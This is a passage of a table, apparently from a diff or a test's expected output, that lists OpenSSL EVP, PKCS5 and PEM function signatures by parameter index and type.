OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 3 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 4 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *) | | EVP_OpenInit | 5 | EVP_PKEY * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 3 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 4 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 5 | const unsigned char ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineDecryptInit | 6 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 2 | const unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 3 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 4 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 5 | const unsigned char ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t) | | EVP_CipherPipelineEncryptInit | 6 | size_t | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 1 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 2 | unsigned char ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 3 | int * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 4 | unsigned char * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 5 | EVP_PKEY ** | +| (EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int) | | EVP_SealInit | 6 | int | +| (EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_copy | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_copy | 1 | const EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const OSSL_PARAM[]) | | EVP_CIPHER_CTX_set_params | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const OSSL_PARAM[]) | | EVP_CIPHER_CTX_set_params | 1 | const OSSL_PARAM[] | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_PBE_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBE_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_PBKDF2_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS5_v2_scrypt_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int) | | PKCS12_PBE_keyivgen | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_PBE_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBE_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_PBKDF2_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS5_v2_scrypt_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 1 | const char * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 2 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 3 | ASN1_TYPE * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 4 | const EVP_CIPHER * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 5 | const EVP_MD * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 6 | int | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 7 | OSSL_LIB_CTX * | +| (EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_PBE_keyivgen_ex | 8 | const char * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | int | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | int | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | int | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | int | +| (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 1 | int | +| (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 2 | int | +| (EVP_CIPHER_CTX *,int,int,void *) | | EVP_CIPHER_CTX_ctrl | 3 | void * | +| (EVP_CIPHER_CTX *,unsigned char *) | | EVP_CIPHER_CTX_rand_key | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *) | | EVP_CIPHER_CTX_rand_key | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal_ex | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal_ex | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal_ex | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal_ex | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal_ex | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal_ex | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal_ex | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_OpenFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_OpenFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_OpenFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_SealFinal | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_SealFinal | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_SealFinal | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_CipherUpdate | 4 | int | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecryptUpdate | 4 | int | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 1 | unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 2 | int * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 3 | const unsigned char * | +| (EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_EncryptUpdate | 4 | int | +| (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_app_data | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_app_data | 1 | void * | +| (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_cipher_data | 0 | EVP_CIPHER_CTX * | +| (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_cipher_data | 1 | void * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 0 | EVP_CIPHER_INFO * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 1 | unsigned char * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 2 | long * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 3 | pem_password_cb * | +| (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 4 | void * | +| (EVP_ENCODE_CTX *) | | EVP_ENCODE_CTX_num | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *) | | EVP_ENCODE_CTX_copy | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *) | | EVP_ENCODE_CTX_copy | 1 | const EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_DecodeFinal | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_DecodeFinal | 1 | unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_DecodeFinal | 2 | int * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_EncodeFinal | 0 | EVP_ENCODE_CTX * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_EncodeFinal | 1 | unsigned char * | +| (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_EncodeFinal | 2 | int * | +| (EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int) | | EVP_DecodeUpdate | 0 | EVP_ENCODE_CTX 